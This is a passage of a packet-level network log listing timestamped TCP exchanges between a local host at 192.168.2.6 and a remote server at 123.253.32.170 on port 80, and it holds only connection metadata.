Nov 30, 2022 00:11:07.593710899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593750000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593772888 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593787909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593828917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593833923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593863010 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593905926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593913078 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593947887 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593988895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.594022989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.594024897 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.594053030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.594338894 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.646195889 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.863770008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.863810062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.863836050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.863861084 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.863878012 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.863898993 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.863920927 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.863944054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.863954067 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.863965988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.863989115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864003897 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864015102 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864027023 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864039898 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864046097 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864067078 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864089966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864095926 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864104986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864129066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864139080 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864149094 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864175081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864186049 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864198923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864222050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864228964 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864245892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864270926 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864274025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864299059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864319086 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864324093 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864347935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864365101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864372969 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864382029 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864398956 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864414930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864415884 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864432096 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864444971 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864454985 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864476919 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864478111 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864497900 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864514112 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864538908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864550114 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864562988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864572048 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864583015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864599943 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864614010 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864617109 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864634037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864651918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864660978 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864666939 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864682913 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864684105 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864700079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864731073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864747047 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864748001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864764929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864772081 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864783049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.864803076 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.864834070 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.916198015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.916270018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.916446924 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.134402990 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.134462118 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.134586096 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.134633064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.134694099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.134747982 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.134761095 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.134776115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.134835005 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.134838104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.134862900 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.134943962 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.134959936 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135013103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135039091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135085106 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135111094 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.135137081 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.135138988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135191917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135236979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135251045 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.135301113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135358095 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.135392904 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135425091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135476112 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.135525942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135596991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135638952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135653973 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.135711908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135750055 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135768890 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.135814905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135865927 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.135905027 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135946035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135987997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.135998964 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.136022091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136073112 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.136101961 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136152983 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136209011 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.136223078 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136265039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136307955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136331081 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.136352062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136398077 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136404037 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.136426926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136483908 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.136521101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136549950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136579037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136601925 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.136609077 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136667013 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136677980 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.136730909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136759043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136782885 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.136807919 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136837006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136862993 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.136915922 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136957884 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.136970043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.136996031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.137058973 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.186311960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.186398029 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.186455011 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.186564922 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.186567068 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.186611891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.186631918 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.186666012 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.186696053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.186728954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.186749935 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.186789989 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.186871052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.186938047 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.186984062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187005997 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187028885 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187088013 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187105894 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187171936 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187217951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187227011 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187330008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187374115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187391996 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187406063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187436104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187464952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187473059 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187494040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187521935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187536001 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187551022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187582016 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187587976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187611103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187639952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187648058 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187680960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187705994 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187711954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187741041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187767982 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187769890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187798023 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187828064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187834978 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187855959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187886000 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187886000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187916040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187942982 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.187947035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.187990904 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188007116 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.188035965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188066959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188097954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188112974 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.188141108 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188163996 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.188168049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188195944 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188221931 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.188225031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188254118 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188277960 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.188291073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188319921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188347101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188355923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.188374996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188402891 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.188404083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188431025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188457012 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.188458920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188487053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188512087 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.188514948 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.188565016 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.193797112 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.409450054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409488916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409516096 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409538031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409621954 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.409638882 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409670115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409698009 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409725904 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409749985 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409760952 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.409776926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409800053 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.409832001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409842968 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.409857035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409876108 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409893990 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409913063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409918070 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.409930944 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409950018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409967899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.409970999 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.409986973 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410003901 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410013914 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410024881 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410058022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410069942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410078049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410096884 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410116911 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410120964 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410136938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410149097 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410156012 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410175085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410192013 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410192966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410214901 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410218000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410238981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410253048 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410258055 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410291910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410331964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410355091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410373926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410389900 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410393953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410413980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410434008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410435915 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410480976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410587072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410607100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410625935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410644054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410659075 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410674095 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410677910 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410700083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410700083 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410718918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410732031 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410738945 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410758972 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410761118 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410778046 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410798073 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410801888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410824060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410836935 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.410842896 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.410902977 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.411041975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.411062002 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.411113024 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.411161900 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.411185980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.411205053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.411225080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.411228895 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.411263943 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.460669041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.460741043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.460786104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.460830927 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.460874081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.460901022 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.460916042 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.460949898 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.460962057 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.460984945 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.461008072 CET	80	49725	123.253.32.170	192.168.2.6
